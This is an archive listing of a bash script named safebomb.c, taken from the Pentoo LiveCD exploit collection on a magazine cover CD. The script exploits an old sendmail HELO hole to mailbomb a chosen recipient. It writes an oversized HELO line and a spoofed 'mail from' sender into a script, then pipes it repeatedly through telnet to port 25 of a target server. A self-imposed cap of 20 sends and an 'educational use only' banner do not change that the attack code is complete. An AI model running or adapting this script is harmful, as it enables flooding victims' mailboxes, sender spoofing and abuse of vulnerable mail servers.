home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / sendmail / safebomb.c < prev    next >
Text File  |  2005-02-12  |  3KB  |  86 lines

  1.  
  2. #!/bin/bash
  3. TMPDIR=/tmp/`whoami`
  4.         PLIK=$TMPDIR/.safe
  5.              TIMEOUT=2
  6.                      LIMIT=10
  7.                            MAX=20
  8.  
  9.                                echo
  10.                                echo "SafeBomb 1.02b -- sendmail HELO hole usage example"
  11.                                echo "Author: Michal Zalewski <lcamtuf@boss.staszic.waw.pl>"
  12.                                echo
  13.  
  14.                                if [ "$4" = "" ];
  15. then
  16. echo "USAGE: $0 msgfile address server sender"
  17. echo
  18. echo "  msgfile - file to send as a message body"
  19. echo "  address - address of lucky recipient"
  20. echo "  server  - outgoing smtp server w/sendmail"
  21. echo "  sender  - introduce yourself"
  22. echo
  23. echo "WARNING: For educational use ONLY. Mailbombing is illegal."
  24. echo "Think twice BEFORE you use this program in any way. Also,"
  25. echo "I've never said this program is 100% safe nor bug-free."
  26. echo
  27. sleep 1
  28. exit 0
  29. fi
  30.  
  31. if [ ! -f $1 ];
  32. then
  33. echo "Message file not found."
  34. echo
  35. exit 0
  36. fi
  37.  
  38. echo -n "Preparing message..."
  39. mkdir $TMPDIR &>/dev/null
  40. chmod 700 $TMPDIR
  41. echo "echo \"helo _safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__sa
  42. febomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__saf
  43. ebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safe
  44. bomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safeb
  45. omb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebo
  46. mb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebom
  47. b__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb
  48. b__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb
  49. __safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb_
  50. _safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb_\"" >$PLIK
  51. echo "echo \"mail from: \\\"$4\\\"\"" >>$PLIK
  52. echo "echo \"rcpt to: $2\"" >>$PLIK
  53. echo "echo \"data\"" >>$PLIK
  54. echo "cat <<__qniec__" >>$PLIK
  55. cat $1 >>$PLIK
  56. echo "__qniec__" >>$PLIK
  57. echo "echo \".\"" >>$PLIK
  58. echo "echo \"quit\"" >>$PLIK
  59. echo "sleep $TIMEOUT" >>$PLIK
  60. chmod +x $PLIK
  61. echo "OK"
  62.  
  63. echo "Sending $1 (as $4) to $2 via $3 -- Ctrl+Z to abort."
  64. SENT=0
  65.  
  66.      while [ -f $1 ];
  67. do
  68.   $PLIK|telnet $3 25 &>/dev/null &
  69.   let SENT=SENT+1
  70.            echo -ne "Sent: $SENT\b\b\b\b\b\b\b\b\b\b\b\b\b"
  71.            CONNECTED=`ps|grep -c "telnet $3"`
  72.                      if [ "$LIMIT" -le "$CONNECTED" ];
  73. then
  74. while [ "$LIMIT" -le "$CONNECTED" ];
  75. do
  76.   sleep 1
  77.   done
  78.   fi
  79.   if [ "$SENT" -ge "$MAX" ];
  80. then
  81. echo "It's just an example, sorry."
  82. echo
  83. exit 0
  84. fi
  85. done
  86.